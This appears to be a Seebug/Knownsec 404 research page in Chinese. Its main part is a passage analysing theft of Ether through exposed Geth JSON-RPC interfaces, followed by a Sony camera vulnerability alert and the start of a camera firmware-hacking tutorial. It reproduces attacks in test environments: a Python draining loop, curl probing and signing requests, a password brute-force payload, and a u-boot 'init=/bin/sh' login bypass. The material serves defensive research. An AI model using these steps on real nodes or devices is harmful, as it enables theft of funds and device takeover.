由于用户解锁账户的目的是为了转账,所以存在用户和攻击者几乎同时发起了交易的情况,在这种情况下,攻击者是如何保证其攻击的成功率呢?
在攻击者账号0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464的交易记录中,交易0x8ec46c3054434fe00155bb2d7e36d59f35d0ae1527aa5da8ec6721b800ec3aa2能够很好地解释该问题。
相较于目前主流的
gasPrice
维持在1 Gwei
,该笔交易的gasPrice
达到了惊人的1,149,246 Gwei
。根据1.3节
中介绍的以太坊交易流程可知:- 在交易签名完成后,交易就会被存入交易缓存池(txpool),交易会被进行校验。但是由于此时新的交易还没有打包进区块,所以用户和攻击者发起的交易都会存入交易缓存池并广播出去。
- 当某节点挖到新的区块时,会将交易从交易缓存池中按照
gasPrice
高低进行排序取出并打包。gasPrice
高的将会优先被打包进区块。由于攻击者的交易的gasPrice
足够高,所以会被优先被打包进区块,而用户的交易将会由于余额不足导致失败。这是以太坊保证矿工利益最大化所设计的策略,也为攻击者攻击快速成功提供了便利。
也正是由于较高的
gasPrice
,使得该攻击者在与其它攻击者的竞争中(有兴趣的可以看看上图红框下方两笔dropped Txns
)得到这笔巨款
。2.3 蜜罐捕获数据
该部分数据截止 2018/03/21
在
偷渡漏洞
被曝光后,知道创宇404团队在已有的蜜罐数据中寻找到部分攻击的痕迹。下图是
2017/10/01
到2018/03/21
间蜜罐监控到的相关攻击情况:被攻击端口主要是
8545端口
,8546
、10332
、8555
、18082
、8585
端口等也有少量扫描痕迹。攻击来源IP主要集中在
46.166.148.120/196
和216.158.238.178/186/226
上:46.166.148.120/196
攻击者使用的探测payload
主要是:1{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1", false], "id":309900}216.158.238.178/186/226
攻击者使用的探测payload
主要是:1{"id":0,"jsonrpc":"2.0","method":"eth_accounts"}0x03 后偷渡时代的盗币方式
在偷渡漏洞被曝光后,攻击者和防御者都有所行动。根据我们蜜罐系统捕获的数据,在后偷渡时代,攻击的形式趋于多样化,利用的以太坊特性越来越多,攻击方式趋于完善。部分攻击甚至可以绕过针对偷渡漏洞的防御方式,所以在说这些攻击方式前,让我们从偷渡漏洞的防御修复方式开篇。
3.1 偷渡漏洞的已知的防范、修复方式
在参考链接 10、19、20 中,关于偷渡漏洞的防范、修复方式有:
- 使用
personal.sendTransaction
功能进行转账,而不是使用personal.unlockAccount
和eth.sendTransaction
进行转账。 - 更改默认的
RPC API
端口、更改RPC API
监听地址为内网、配置iptables
限制对RPC API
端口的访问、账户信息(keystore)不存放在节点上、转账使用web3
的sendTransaction
和sendRawTransaction
发送私钥签名过的transaction
、私钥物理隔离(如冷钱包、手工抄写)或者高强度加密存储并保障密钥的安全 - 关闭对外暴露的RPC端口,如果必须暴露在互联网,使用鉴权链接地址、借助防火墙等网络防护软件,封堵黑客攻击源IP、检查RPC日志、web接口日志、等待以太坊更新最新代码,使用修复了该漏洞的节点程序
但是实际的情况却是
关闭对公网暴露的 RPC 接口
、使用 personal.sendTransaction()进行转账
或节点上不存放账户信息(keystore)
后,依然可能会被盗币。根据上文,模拟出如下两种情景:情景一:对于曾经被盗币,修复方案仅为:关闭对公网暴露的
RPC
接口,关闭后继续使用节点中相关账户或移除了账户信息(keystore)的节点,可能会受到Geth 交易缓存池的重放攻击
和离线漏洞
的攻击。情景二:对于暂时无法关闭对公网暴露的
RPC
接口,却使用personal.sendTransaction()
安全转账的节点,可能会受到爆破账号密码
的攻击。我们也将会在
3.2节 - 3.5节
详细的说明这三种漏洞的攻击流程。3.2 交易缓存池的重放攻击
对于曾经被盗币,修复方案仅为:关闭对公网暴露的
RPC
接口,关闭后继续使用节点中相关账户的节点,可能会受到该攻击3.2.1 发现经历
细心的读者也许会发现,在
2.1节
中,为了实现攻击者不停的发送转账请求的功能,笔者使用了while True
循环,并且在geth
终端中看到了多条成功签名的交易hash
。由于交易缓存池拥有一定的校验机制,所以除了第一笔交易0x4ad68aafc59f18a11c0ea6e25588d296d52f04edd969d5674a82dfd4093634f6外,剩下的交易应该因为账户余额不足而被移出交易缓存池。但是在测试网络中却出现了截然不同的情况,在我们关闭本地的
geth
客户端后,应该被移出交易缓存池的交易在余额足够的情况下会再次出现并交易成功:(为了避免该现象的出现,在
2.1节
中,可以在成功转账之后利用break
终止相关的循环)这个交易奇怪的地方在于:在账户余额不足的情况下,查找不到任何
Pendding Transactions
:当账户余额足够支付时,被移出交易缓存池的交易会重新出现,并且是
Pendding
状态。在部分
pendding
的交易完成后,剩余的交易将会继续消失。这也就意味着,如果攻击者能够在利用
偷渡漏洞
的过程中,在交易被打包进区块,账号状态发生改变前发送大量的交易信息,第一条交易会被立即实行,剩余的交易会在受害人账号余额
大于转账金额+gas消耗的金额
的时候继续交易,而且这个交易信息在大多数情况下不会被查到。对于这个问题进行分析研究后,我们认为可能的原因是:
以太坊在同步交易缓存池的过程中可能因为网络波动、分布式的特点等原因,导致部分交易多次进入交易缓存池
。这也导致部分应该被移出交易缓存池的交易
多次重复进入交易缓存池。具体的攻击流程如下:
3.2.2 本地复现过程
关于 3.2.1 节中出现的现象,笔者进行了多方面的猜测。最终在低版本的 geth 中模拟复现了该问题。但由于现实环境的复杂性和不可控性,并不能确定该模拟过程就是造成该现象的最终原因,故该本地复现流程仅供参考。
攻击复现环境位于私链中,私链挖矿难度设置为
0x400000
,保证在挖出区块之前拥有足够的时间检查各节点的交易缓存池。geth
的版本为1.5.0
。被攻击者的节点A:通过
geth --networkid 233 --nodiscover --verbosity 6 --ipcdisable --datadir data0 --rpc --rpcaddr 0.0.0.0 console
启动。矿机节点B,负责挖矿: 通过
geth --networkid 233 --nodiscover --verbosity 6 --ipcdisable --datadir data0 --port 30304 --rpc --rpcport 8546 console
启动并在终端输入miner.start(1)
,使用单线程进行挖矿。存在问题的节点C:通过
geth --networkid 233 --nodiscover --verbosity 6 --ipcdisable --datadir data0 --port 30305 --rpc --rpcport 8547 console
启动。各节点启动后通过
admin.nodeInfo
和admin.addPeer()
相互添加节点。1.攻击者扫描到被攻击节点A开放了rpc端口,使用如下代码开始攻击:
1234567891011121314151617<span class="kn">import</span> <span class="nn">time</span><span class="kn">from</span> <span class="nn">web3</span> <span class="kn">import</span> <span class="n">Web3</span><span class="p">,</span><span class="n">HTTPProvider</span><span class="n">web3</span> <span class="o">=</span> <span class="n">Web3</span><span class="p">(</span><span class="n">HTTPProvider</span><span class="p">(</span><span class="s2">"http://172.16.4.128:8545/"</span><span class="p">))</span><span class="n">web3</span><span class="o">.</span><span class="n">eth</span><span class="o">.</span><span class="n">getBalance</span><span class="p">(</span><span class="n">web3</span><span class="o">.</span><span class="n">eth</span><span class="o">.</span><span class="n">accounts</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span><span class="k">while</span> <span class="bp">True</span><span class="p">:</span><span class="k">try</span><span class="p">:</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">):</span><span class="n">web3</span><span class="o">.</span><span class="n">eth</span><span class="o">.</span><span class="n">sendTransaction</span><span class="p">({</span><span class="s2">"from"</span><span class="p">:</span><span class="n">web3</span><span class="o">.</span><span class="n">eth</span><span class="o">.</span><span class="n">accounts</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span><span class="s2">"to"</span><span class="p">:</span><span class="n">web3</span><span class="o">.</span><span class="n">eth</span><span class="o">.</span><span class="n">accounts</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="s2">"value"</span><span class="p">:</span> <span class="mi">1900000000000000000000000</span><span class="p">,</span><span class="s2">"gas"</span><span class="p">:</span> <span class="mi">21000</span><span class="p">,</span><span class="s2">"gasPrice"</span><span class="p">:</span> <span class="mi">10000000000000</span><span class="p">})</span><span class="k">break</span><span class="k">except</span><span class="p">:</span><span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="k">pass</span>2.节点A的用户由于转账的需求,使用
personal.unlockAccount()
解锁账户,导致偷渡漏洞发生。由于一共进行了三次转账请求并成功广播,所以A、B、C交易缓存池中均存在这三笔交易。3.由于网络波动等原因,此时节点 C 与其它节点失去连接。在这里用
admin.removePeer()
模拟节点 C 掉线。节点 B 继续挖矿,完成相应的交易。后两笔交易会因为余额不足从交易缓存池中移除,最终节点 A ,B 的交易缓存池中将不会有任何交易。4.上述步骤 1-3 即是前文说到的
偷渡漏洞
,被攻击者A发现其节点被攻击,迅速修改了节点A的启动命令,去除了--rpc --rpcaddr 0.0.0.0
,避免RPC
端口暴露在公网之中。之后继续使用该账户进行了多次转账。例如,使用其它账号给节点A上的账号转账,使的节点A上的账号余额为1.980065000882e+24
5.节点 C 再次连接进网络,会将其交易池中的三个交易再次广播,发送到各节点。这就造成已经移除交易缓存池的交易再次回到交易缓存池中。
6.由于此时节点A的账户余额足够,第二个交易将会被打包进区块,节点A中的余额再次被盗。
注: 在实际的场景中,不一定会出现节点 C 失去连接的情况,但由于存在大量分布式节点的原因,交易被其它节点重新发送的情况也是可能出现的。这也可以解释为什么在前文说到:
账户余额足够时,会出现大量应该被移除的 pending 交易,在部分交易完成后,pending 交易消失的的情况
。当账户余额足够时,重新广播交易的节点会将之前所有的交易再次广播出去,在交易完成后,剩余 pending 交易会因为余额不足再次从交易缓存池中被移除。注2: 除了本节说到的现象外,亦不排除攻击者设置了恶意的以太坊节点,接收所有的交易信息并将部分交易持续广播。但由于该猜想无法验证,故仅作为猜测思路提供。
3.3 unlockAccount接口的爆破攻击
对于暂时无法关闭对公网暴露的
RPC
接口的节点,在不使用personal.unlockAccount()
的情况下,仍然存在被盗币的可能。3.3.1 漏洞复现
被攻击节点启动参数为:
geth --testnet --rpc --rpcaddr 0.0.0.0 --rpcapi eth,personal console
攻击者的攻击步骤为:
- 与
偷渡漏洞
攻击1-3
步类似,攻击者探测到目标开放了RPC
端口 -> 获取当前节点的区块高度、节点上的账户列表 以及 各账户的余额。根据蜜罐捕获的数据,部分攻击还会通过personal_listWallets
接口进行查询,寻找当前节点上已经unlocked
的账户。 - 调用
personal_unlockAccount
接口尝试解密用户账户。假如用户使用了弱口令,攻击者将会成功解锁相应账户。 - 攻击者可以将解锁账户中的余额全部转给自己。
攻击流程如下图所示:
3.3.2 升级的爆破方式
根据偷渡漏洞的原理可以知道该攻击方式有一个弊端:如果有两个攻击者同时攻击一个节点,当一个攻击者爆破成功,那么这两个攻击者都将可以取走节点中的余额。
根据
2.3
节中的分析可以知道,谁付出了更多的手续费,谁的交易将会被先打包。这也陷入了一个恶性循环,盗币者需要将他们的利益更多地分给打包的矿工才能偷到对应的钱。也正是因为这个原因,蜜罐捕获到的爆破转账请求从最初的personal_unlockAccount
接口逐渐变成了personal_sendTransaction
接口。personal_sendTransaction
接口是Geth
官方在2018/01
新增了一个解决偷渡漏洞的RPC接口。使用该接口转账,解密出的私钥将会存放在内存中,所以不会引起偷渡漏洞
相关的问题。攻击者与时俱进的攻击方式不免让我们惊叹。3.4 自动签名交易的离线攻击
对于曾经被盗币的节点,可能会被离线漏洞所攻击。这取决于被盗币时攻击者生成了多个交易签名。
3.4.1 攻击流程复现
由于该攻击涉及到的
eth_signTransaction
接口在pyweb3
中不存在,故攻击流程复现使用curl
命令与JSON-RPC
交互攻击者IP为:10.0.0.3,账户地址为:
0xd4f0ad3896f78e133f7841c3a6de11be0427ed89
,geth
的启动命令为:geth --testnet --rpc --rpcaddr 0.0.0.0 --rpcapi eth,net,personal
被攻击者IP为: 10.0.0.4,
geth
版本为1.8.11
(当前最新版本为1.8.12
),账户地址为0x9e92e615a925fd77522c84b15ea0e8d2720d3234
1.攻击者扫描到被攻击者开放了
8545
端口后,可以通过多个接口获取被攻击者信息1234curl -XPOST --data '{"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545curl -XPOST --data '{"jsonrpc":"2.0","method":"eth_getBalance","params":["0x9e92e615a925fd77522c84b15ea0e8d2720d3234","latest"],"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545curl -XPOST --data '{"jsonrpc":"2.0","method":"eth_blockNumber","params":null,"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545curl -XPOST --data '{"jsonrpc":"2.0","method":"net_version","params":null,"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545账户里余额为0,是因为笔者没有及时同步区块。实际余额是
0.98 ether
2.通过
eth_getTransactionCount
接口获取节点账户和盗币账户之间的转账次数,用于计算nonce
。等待用户通过personal.unlockAccount()
解锁。在用户解锁账户的情况下,通过eth_signTransaction
接口持续发送多笔签名转账请求。例如:签名的转账金额是2 ether
,发送的数据包如下:12curl -XPOST --data '{"jsonrpc":"2.0","method":"eth_signTransaction","params":[{"from":"0x9e92e615a925fd77522c84b15ea0e8d2720d3234","to":"0xd4f0ad3896f78e133f7841c3a6de11be0427ed89","value": "0x1bc16d674ec80000", "gas": "0x30d40", "gasPrice": "0x2dc6c0","nonce":"0x1"}],"id":1}' --header "Content-Type: application/json" http://10.0.0.4:8545注: 该接口在官方文档中没有被介绍,但在新版本的geth中的确存在攻击者会在账户解锁期间按照
nonce
递增的顺序构造多笔转账的签名。3.至此,攻击者的攻击已经完成了一半。无论被攻击者是否关闭
RPC
接口,攻击者都已经拥有了转移走用户账户里2 ether
的能力。攻击者只需监控用户账户中的余额是否超过2 ether
即可。如图所示,在转入1.2 ether
后,用户的账户余额已经达到2 ether
攻击者在自己的节点对已经签名的交易进行广播:
1eth.sendRawTransaction("0xf86b01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4")2 ether
被成功盗走。相关交易记录可以在测试网络上查询到。
攻击流程图示如下:
3.4.2 攻击成功的关键点解析
按照惯例,先提出问题:
- 为什么签名的交易可以在别的地方广播?
Geth
官方提供的接口eth_sign
是否可以签名交易?
3.4.2.1 签名的有效性问题
从原理上说,离线漏洞的攻击方式亦是以太坊离线签名的一种应用。
为了保护私钥的安全性,以太坊拥有离线签名这一机制。用户可以在不联网的电脑上生成私钥,通过该私钥签名交易,将签名后的交易在联网的主机上广播出去,就可以成功实现交易并有效地保证私钥的安全性。
在 1.3 节的图中,详细的说明了以太坊实现交易签名的步骤。在各参数正确的情况下,以太坊会将交易的相关参数:
nonce
、gasPrice
、gas
、to
、value
等值进行RLP
编码,然后通过sha3_256
算出其对应的hash
值,然后通过私钥对hash
值进行签名,最终得到s
、r
、v
。所以交易的相关参数有:123456789101112"tx": {"nonce": "0x1","gasPrice": "0x2dc6c0","gas": "0x30d40","to": "0xd4f0ad3896f78e133f7841c3a6de11be0427ed89","value": "0x1bc16d674ec80000","input": "0x","v": "0x1b","r": "0xe2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663","s": "0x4591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4","hash": "0x4c661b558a6a2325aa36c5ce42ece7e3cce0904807a5af8e233083c556fbdebc"}由于
hash
可以根据其它值算出来,所以对除hash
外的所有值进行RLP
编码,即可得到签名后的交易内容。在以太坊的其它节点接受到该交易后,会通过
RLP
解码得到对应的值并算出hash
的值。由于椭圆曲线数字签名算法可以在知道hash
和s
、r
、v
的情况下得到公钥的值、公钥经过sha3_256
加密,后四十位就是账户地址,所以只有在所有参数没有被篡改的情况下,才能还原出公钥,计算出账户地址。因此确认该交易是从这个地址签名的。根据上述的签名流程,也可以看出,在对应的字段中,缺少了签名时间这一字段,这也许会在区块链落地的过程中带来一定的阻碍。
3.4.2.2 交易签名流程 与 eth_sign签名流程对比
根据官网的描述,
eth_sign
的实现是sign(keccak256("\x19Ethereum Signed Message:\n" + len(message) + message)))
这与
3.4.2.1
节中交易签名流程有着天壤之别,所以eth_sign
接口并不能实现对交易的签名!注:我们的蜜罐未抓取到离线漏洞相关攻击流量,上述攻击细节是知道创宇404区块链安全团队研究后实现的攻击路径,可能和现实中黑客的攻击流程有一定的出入。
3.5 蜜罐捕获攻击JSON‐RPC相关数据分析
在偷渡漏洞曝光后,知道创宇404团队有针对性的开发并部署了相关蜜罐。 该部分数据统计截止
2018/07/14
3.5.1 探测的数据包
对蜜罐捕获的攻击流量进行统计,多个
JSON-RPC
接口被探测或利用:其中
eth_blockNumber
、eth_accounts
、net_version
、personal_listWallets
等接口具有很好的前期探测功能,net_version
可以判断是否是主链,personal_listWallets
则可以查看所有账户的解锁情况。personal_unlockAccount
、personal_sendTransaction
、eth_sendTransaction
等接口支持解锁账户或直接进行转账。可以说,相比于第一阶段的攻击,
后偷渡时代
针对JSON-RPC
的攻击正呈现多元化的特点。3.5.2 爆破账号密码
蜜罐在
2018/05/24
第一次检测到通过unlockAccount
接口爆破账户密码的行为。截止2018/07/14
蜜罐一共捕获到809
个密码在爆破中使用,我们将会在最后的附录部分给出详情。攻击者主要使用
personal_unlockAccount
接口进行爆破,爆破的 payload 主要是:1{"jsonrpc":"2.0","method":"personal_unlockAccount","params":["0x96B5aB24dA10c8c38dac32B305caD76A99fb4A36","katie123",600],"id":50}在所有的爆破密码中有一个比较特殊:
ppppGoogle
。该密码在personal_unlockAccount
和personal_sendTransaction
接口均有被多次爆破的痕迹。是否和《Microsoft Azure 以太坊节点自动化部署方案漏洞分析》案例一样,属于某厂商以太坊节点部署方案中的默认密码,仍有待考证。3.5.3 转账的地址
蜜罐捕获到部分新增的盗币地址有:
3.5.4 攻击来源IP
3.6 其它的威胁点
正如本文标题所说,区块链技术为金融行业带来了丰厚的机遇,但也招来了众多独行的大盗。本节将会简单介绍在研究偷渡漏洞过程中遇到的其它威胁点。
3.6.1 parity_exportAccount 接口导出账户信息
在
3.5.1
节中,蜜罐捕获到对parity_exportAccount
接口的攻击。根据官方手册,攻击者需要输入账号地址和对应的密码,如果正确将会导出以json格式导出钱包。看过
1.2
、1.3
节中的知识点、偷渡漏洞、后偷渡时代的利用方式的介绍,需要意识到:一旦攻击者攻击成功,私钥将会泄漏,攻击者将能完全控制该地址。3.6.2 clef 中的 account_export 接口
该软件是
geth
中一个仍未正式发布的测试软件。其中存在一个导出账户的接口account_export
。通过
curl -XPOST http://localhost:8550/ -d '{"id": 5,"jsonrpc": "2.0","method" : "account_export","params": ["0xc7412fc59930fd90099c917a50e5f11d0934b2f5"]}' --header "Content-Type: appli cation/json"
命令可以调用该接口导出相关账号信息。值得一提的是,在接口存在一定的安全机制,需要用户同意之后才会导出账号。虽然该接口目前仍算安全,但由于不需要密码即可导出keystore文件内容的特性,值得我们持续关注。
3.7 后偷渡时代的防御方案
相较于
3.1
节已有的防御方案,后偷渡时代更加关注账户和私钥安全。- 对于有被偷渡漏洞攻击的痕迹或可能曾经被偷渡漏洞攻击过的节点,建议将节点上相关账户的资产转移到新的账户后废弃可能被攻击过的账户。
- 建议用户不要使用弱口令作为账户密码,如果已经使用了弱口令,可以根据1.2节末尾的内容解出私钥内容,再次通过
geth account import
命令导入私钥并设置强密码。 - 如节点不需要签名转账等操作,建议节点上不要存在私钥文件。如果需要使用转账操作,务必使用
personal_sendTransaction
接口,而非personal_unlockAccount
接口。
0x04 总结
在这个属于区块链的风口上,实际落地仍然还有很长的路需要走。后偷渡时代的离线漏洞中出现的
区块链记录的交易时间不一定是交易签名时间
这一问题就是落地过程中的阻碍之一。区块链也为攻击溯源带来了巨大的阻碍。一旦私钥泄漏,攻击者可以在任何地方发动转账。而由于区块链分布式存储的原因,仅仅通过区块链寻找攻击者的现实位置也变得难上加难。
就
Go Ethereum JSON-RPC
盗币漏洞而言,涉及到多个方面的多个问题:以太坊底层签名的内容、geth
客户端unlockAccount
实现的问题、分布式网络导致的重放问题,涉及的范围之广也是单个传统安全领域较难遇到的。这也为安全防御提出了更高的要求。只有从底层了解相关原理、对可能出现的攻击提前预防、经验加技术的沉淀才能在区块链的安全防御方面做到游刃有余。虚拟货币价值的攀升,赋予了由算法和数字堆砌的区块链巨大的金融价值,也会让
盗币者
竭尽所能从更多的方面实现目标。金钱难寐,大盗独行
,也许会是这个漏洞最形象的描述。
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。
欢迎扫码咨询:
参考链接
- What is an Ethereum keystore file?
- Key_derivation_function
- 15.1. hashlib — Secure hashes and message digests
- 对比一下ecdsa与secp256k1-py从私钥生成公钥
- Ethereum JSON RPC
- how-to-create-raw-transactions-in-ethereum-part-1-1df91abdba7c
- 椭圆曲线密码学和以太坊中的椭圆曲线数字签名算法应用
- Web3-Secret-Storage-Definition
- Management-APIs
- RPC: add personal_signTransaction: [tx, pw]
- Possible BUG - somebody took 50 ETH from my wallet immediately after successful transaction
- RLP 英文版
- RLP 中文版
- Private-network
- How do I get the raw private key from my Mist keystore file?
- 以太坊源码分析-交易
- Ethereum交易详解
- Life Cycle of an Ethereum Transaction
- 以太坊生态缺陷导致的一起亿级代币盗窃大案
- 揭秘以太坊中潜伏多年的“偷渡”漏洞,全球黑客正在疯狂偷币
- 慢雾社区小密圈关于以太坊情人节升级攻击的情报
- 以太坊离线钱包
- 以太坊实战之《如何正确处理nonce》
附录
1. 爆破 unlockAccount 接口使用的密码列表
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/656/
-
Sony IPELA E 系列网络摄像头远程命令执行漏洞预警
作者:知道创宇404实验室
时间:2018年7月24日
英文版:https://paper.seebug.org/654/背景
索尼是世界视听、电子游戏、通讯产品和信息技术等领域的先导者,是世界最早便携式数码产品的开创者,是世界最大的电子产品制造商之一。
2018 年 07 月 20 日,Sony IPELA E 系列网络摄像头被曝出存在远程命令执行漏洞, 网上已经公开了漏洞细节。该系列摄像头由于未对用户的输入进行过滤,而直接拼接成命令字符串并执行,攻击者可基于此执行任意命令,进一步完全接管摄像头,该漏洞被赋予编号 CVE-2018-3937。该漏洞的利用难度很低,通过原漏洞详情中的说明,2018 年 07 月 19 日,Sony 官方已发布该漏洞的补丁。 2018 年 07 月 24 日,Seebug 漏洞平台收录了该漏洞。知道创宇404实验室迅速跟进,复现了该漏洞。
漏洞影响
通过ZoomEye网络空间搜索引擎对app:”SonyNetworkCamerahttpd” 关键字进行搜索,共得到 6,468 条 IP 历史记录。从本地验证的过程来看,该漏洞的利用难度很低。
受漏洞影响设备的国家分布如下,主要分布在美国、越南、德国等国家。
漏洞修复
根据原漏洞详情的说明,Sony官方已经发布相关补丁修复了该漏洞,请及时根据对应摄像头型号下载安装新版固件。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/655/
-
摄像头漏洞挖掘入门教程(固件篇)
作者:fenix@知道创宇404实验室
时间:2017年11月27日0x00 引言
据 IT 研究与顾问咨询公司
Gartner
预测,2017 年全球物联网设备数量将达到 84 亿,比 2016 年的 64 亿增长31%,而全球人口数量为 75 亿。2020 年物联网设备数量将达到 204 亿。而与如此快的发展速度相对应的,物联网的安全问题也日趋凸显,尤其是网络摄像头、路由器等常见设备。我们可以从以下两个案例大致感受一下物联网设备严峻的安全形势。
物联网设备数量的快速增长和其安全性的严重滞后形成了鲜明对比。同时也给恶意攻击者和安全研究人员提供了新的土壤,这场正邪的博弈在新的战场上正激烈上演。
这是一篇详细的入门级别的教程,献给众多想入门智能设备安全的爱好者们。(本文完成于2017年,时隔一年对外发布。)
0x01 概述
1.0 固件及其常见获取方式
固件(Firmware)就是写入
EROM
(可擦写只读存储器)或EEPROM
(电可擦可编程只读存储器)中的程序。特殊的,对于市面上大部分的路由器和摄像头来说,固件就是电路板上的 25 系列 Flash 芯片中的程序,其中存放着嵌入式操作系统,通常是 Linux 系统。获取固件是分析挖掘固件漏洞的前提,本文将以摄像头为例,介绍如何 Dump Flash 芯片中的固件以及获取固件之后的一些玩法思路。
通常情况下,有以下几种获取固件的途径。
本文涉及后两种方式提取固件的方式。
0x02 概念拓展
在开始正式的固件提取之前,先来熟悉几个基础概念。
2.0 串口和串口通信
串口(Serial port)又称“序列端口”,主要用于串行式逐位数据传输。
UART(Universal Asynchronous Receiver/Transmitter) 是一种异步串口通信协议。串口遵循 UART 协议按位(bit)异步发送和接收字节,通常情况下需要连接三对针脚,连线方式如下所示(图片来自网络):
上图中,TX 为接收端,RX 为传输端,GND 为接地端。按照图示方式连接板子的调试串口和 USB 转 TTL 串口线,设置好波特率、数据位、停止位和奇偶校验等重要参数后,双方就可以正常发送 ASCII 码字符,从而进行异步串口通信。
2.1 u-boot 引导
u-boot 是一种普遍用于嵌入式系统中的引导程序,它在操作系统运行之前执行,用来初始化软硬件环境,并最终启动系统内核。
0x03 通过调试串口进入系统
3.0 研究对象
本节我们将从一款
无线监控摄像头
入手,讲解如何通过调试串口获取系统的 Shell。使用
nmap
探测该摄像头的开放端口及服务,结果如下1234567Host is up (0.0031s latency).Not shown: 996 closed portsPORT STATE SERVICE VERSION100/tcp open http Mongoose httpd554/tcp open rtsp1935/tcp open tcpwrapped100100/tcp open soap gSOAP 2.8监听在 100 端口的 Mongoose 是一个嵌入式的 Web 服务器,gSOAP 是一个跨平台的,用于开发 Web Service 服务端和客户端的工具。RTSP(Real Time Streaming Protocol),实时流传输协议,是 TCP/IP 协议体系中的一个应用层协议,该协议定义了一对多应用程序如何有效地通过 IP 网络传送多媒体数据。
之后可以通过
Fidder
、wireshark
等工具对服务进行抓包分析,然而这不是我们今天的重点。下面我们将从硬件的角度去分析。3.1 需要的工具
- USB 转 TTL 串口线
- 电烙铁
- 螺丝刀
- ...
3.2 UART 藏哪了
制造路由器、摄像头等设备的厂商通常会在设备上留下调试串口方便开发或售后过程中的调试,为了和设备进行通信,我们首先需要找到这些 "后门"。用工具将摄像头拆开,根据主板上芯片上的型号可以识别出芯片的用途。如图,我们找到了处理器和存储器芯片的位置,处理器是国科 IPC 芯片 GK7102,存储器芯片是 25 系列 flash 芯片 IC25LP128 。主板上空闲的接口有三个(右图),左下、右下、右下偏上,经过测试,左下那个是 4 针 debug 串口(波特率 115200),串口的第一个针脚为
Tx
,第三个针脚为Rx
,分别与USB-转-TTL
的Rx
,Tx
连接(USB 转 TTL 串口线和主板由同一个 Hub 供电,VCC
相差不大,没有连接GND
)。至于如何找到设备上的调试串口,可参考 reverse-engineering-serial-ports,此处不再赘述。
minicom
是一款 Linux 平台上的串口工具,在控制台键入以下命令和串口进行通信。123# Use the following Bash code:minicom -D /dev/ttyUSB0在这步操作的时候很容易遇到权限的问题,介绍一个很粗暴的方法。
1sudo chmod 777 /dev/ttyUSB03.3 嵌入式系统启动流程
笔记本正确连接主板串口,供电后,在终端可以看到以下系统启动过程中的调试信息。
Flash 芯片的分区信息如下
开机后系统启动了以下服务,可能是摄像头服务的主进程。
系统启动完成后,提供了Shell 的登陆界面。
通过观察启动流程,我们已经获得了很多有用的信息,对
u-boot
如何引导系统的启动也有了一个大致的认识。最后,我们尝试使用弱密码获取系统的 Shell,遗憾的是,经过多次尝试,均已失败告终。
3.4 登陆绕过
如果你使用过 Linux 系统,或多或少的经历过忘记系统密码导致无法进入系统的尴尬境地。我们的解决方案也堪称简单粗暴,直接进入 grub 引导修改密码。所以,如果设备触手可及,几乎不存在进不入系统的问题。
在摄像头这种运行着嵌入式 Linux 操作系统的设备上,也有一个类似
grub
的存在,它就是u-boot
。重启设备,根据提示键入组合键进入到
u-boot
命令行界面。u-boot
命令行内置了很多常用命令供我们使用,键入h
查看帮助。通过
printenv
打印出u-boot
传递给内核的参数信息。从部分参数的内容可以看到
u-boot
引导程序是如何移交控制权给内核的。- 首先为内核设置启动参数
console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=linuxrc
- 将内核从 Flash 加载到内存中
- 跳转到内存中内核的起始地址并执行
我们来重点看下启动参数的
init
字段。init
字段设置内核执行的初始化进程名,比如上面的linuxrc
,它是位于文件系统根目录下的一段程序代码,负责后续的系统初始化工作。是否可以直接修改
init=/bin/sh
从而实现在系统未初始化完成的时候访问根文件系统呢?我们不妨试一下,在u-boot
命令行中修改参数sfboot
中init
字段的值为/bin/sh
并保存,修改后效果如下。(修改前做好参数的备份)1console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=/bin/sh重启设备,正如我们所猜想的,修改内核执行的初始进程,我们成功获得了一个
Shell
。由于没有经过
linuxrc
的初始化过程,这样获得的 Shell 功能是很受限的。在该 shell 下编辑/etc/shadow
文件,擦除或者破解root
用户的密码,重启到u-boot
命令行界面中修改回原来的启动参数并保存,再次重启到 Shell 登陆界面,即可获得一个具有完整功能的 Shell。3.5 打包上传固件
经过上面的步骤,我们已经可以登录到一个功能完整的
Shell
,使用tar
和tftp
命令打包上传根文件系统到 tftp 服务器即可。3.6 其他技巧
在
u-boot
中提供了相关命令操作 Flash 芯片,所以也可以按照如下方式提取固件。(这种 cat 内存的方式只是一种思路,速度是内伤)0x04 暴力读写固件存储芯片解锁新功能
本小节我们以另一款基于 gSOAP 协议的摄像头为例(固件存储芯片型号
MX25LP128
),介绍如何用编程器读写 Flash 芯片,从而打开该摄像头的 telnet 服务。4.0 需要准备的工具
- 25 系列芯片编程器
- 电洛铁
- ...
4.1 读取固件
